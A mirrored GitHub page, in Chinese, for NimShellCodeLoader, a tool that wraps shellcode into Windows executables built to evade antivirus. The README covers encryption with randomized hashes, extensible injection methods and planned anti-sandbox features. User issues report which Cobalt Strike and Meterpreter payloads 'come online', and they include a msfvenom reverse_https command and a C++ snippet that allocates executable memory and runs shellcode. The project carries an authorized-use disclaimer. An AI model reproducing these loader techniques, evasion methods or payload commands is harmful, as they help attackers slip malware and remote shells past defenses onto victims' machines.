Code Monkey home page Code Monkey logo

nimshellcodeloader's Introduction

NimShellCodeLoader

Nim编写Windows平台shellcode免杀加载器

快速生成免杀可执行文件

codeloader

更新:

20231228:图标自定义功能

20230826:支持nim的v2.0版本,去除base64编码,减小文件生成体积

20220620:Fix Bug!增加2种加载shellcode方式

20220203:Fix Bug!增加14种加载shellcode方式,nim version>=1.6.2

20210123:增加三种加载shellcode方式,其中两种使用了winim库,需要安装该库才能正常编译

特点:

1:自带四种加载方式

2:可自行拓展加载方式

3:支持两种加密技术,分别位3des加密和凯撒密码,密钥随机,每次生成文件拥有不同hash

4:图标可以自定义

仅限用于技术研究和获得正式授权的测试活动。

文件组成:

bin 中存放生成的可执行文件

encryption 存放加密代码文件

file

安装:

1、安装nim最新版

  • 下载页面,分别下载nim的安装包和编译器mingw64,将两者解压到任意目录,分别将两个文件夹里面的bin文件夹路径添加到path环境变量中
  • 打开命令行,输入nim回车,输入gcc或g++回车,返回正常即可之后正常使用nim来编译程序
  • 需要安装winim

2、下载本项目,分别编译encryption中的Tdea.nimCaesar.nim

nim c -d:release -d:strip --opt:size Tdea.nim

nim c -d:release -d:strip --opt:size Caesar.nim

3、编译c#项目,将可执行文件放到当前目录

使用方法:

1、打开生成器

2、将payload拖动到该窗口

first

3、选择加载方式,点击生成,可执行文件会保存到bin文件夹中

second

拓展:

1、新建nim代码文件,引用public,获取code(解密的明文shellcode)和codelen(明文shellcode长度)

code

2、以Direct Load为例,将c++的功能代码放到上图中方框内即可

3、修改Compiler.ini文件,添加一行,key为加载方式,value为编译使用的命令行,其中<source>为shellcode文件位置的占位符,<encrypt>为加密方式的占位符,其余可以自行定义。

config

引用:

都是网上公开的方法

https://github.com/Moriarty2016

https://github.com/knownsec/shellcodeloader

https://github.com/byt3bl33d3r/OffensiveNim

https://github.com/S4R1N/AlternativeShellcodeExec

TODO:

  • 添加图标自定义功能

  • 增加更多的加载方式

  • 增加反沙箱等功能

  • 增加加密方式

nimshellcodeloader's People

Contributors

aeverj avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

nimshellcodeloader's Issues

不能成功编译出codeloader.exe文件

安装完winim库之后,执行这两个命令并未出现codeloader.exe文件
nim c -d:release --opt:size Tdea.nim

nim c -d:release --opt:size Caesar.nim
是我哪里的步骤有问题吗,还是我的环境安装失败

程序加载方法兼容性综合测试

测试环境在win 10 64位,Nim、MingW编译环境均为64位。其中很多方法不上线,不知道是我的测试方法不对还是?

Cobalt Strike 生成的64位 shellcode , 格式raw的bin文件

Thread_Pool_Wait 报错

image

Thread_Hiijack_Inject_Load 不上线

OEP_Hiijack_Inject_Load 不上线

APC_Ijnect_Load 不上线

Direct_Load 上线

Early_Bird_APC_Injetc_Load 上线

Fiber_Load 报错

image

msfvenom生成的64位 Shellcode、命令“
msfvenom -p windows/x64/meterpreter/reverse_https -f raw LPORT=443 -o test_x64.bin LHOST=xx.xx.xx.xx

APC_Ijnect_Load 不上线

Early_Bird_APC_Injetc_Load 不上线

Fiber_Load 不上线

Direct_Load 不上线

OEP_Hiijack_Inject_Load 不上线

Thread_Hiijack_Inject_Load 不上线

Thread_Pool_Wait 不上线

编译遇到问题

image
nim是最新的1.4.8
选择des的时候提示另外一个没有被使用?师傅解决一下?

编译半天都不行

编译半天都不行,我是按照你的github上面操作的,不知道哪里除了问题

NimShellCodeLoader-20220203兼容性问题

2021旧版使用nim 1.48 32位版本,Direct_Load方法加载32位的shellcode可以正常加载,2021旧版 + nim 1.62和最新gcc的32位版本编译32位shellcode也可正常加载

2022的新版配合nim 1.62和最新gcc的32位版本编译32位shellcode,会出现图片中的错误
手心输入法截图20220205124238382

运行被加密的程序报错

凯撒和3des加密方法都换过,6种运行shellcode的方法也都随机试了几个,始终在运行加密后Cobalt Strike的Shellcode制作的exe文件报错,初步怀疑现在的的nim更新了base 64方面的加密代码,所以程序产生了兼容性bug?请作者看看怎么解决?谢谢
手心输入法截图20210928183244488
?
nim版本
我之后又试了官方几个大版本的代表版本,问题依旧
12121212

扩展加载方法功能编译报错

想扩展Direct加载方法,调用COM,加一些功能,结果就编译不过了,错误如下。请问是哪方面的错误怎么修改,非常感谢!代码:

`#include "public.hpp"
#include <objbase.h>
#pragma comment(lib, "ole32")

int Direct_Load(char *shellcode,SIZE_T shellcodeSize)
{
HRESULT hr;

hr = CoInitialize(NULL);

LPVOID Memory = VirtualAlloc(NULL, shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(Memory, shellcode, shellcodeSize);
((void(*)())Memory)();
return 0;

}`

error

使用报错

大佬请问这个怎么解决,安装nim-1.6.4,安装winim,分别编译了encryption中的Tdea.nim和Caesar.nim
然后使用报错
1647410207(1)

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.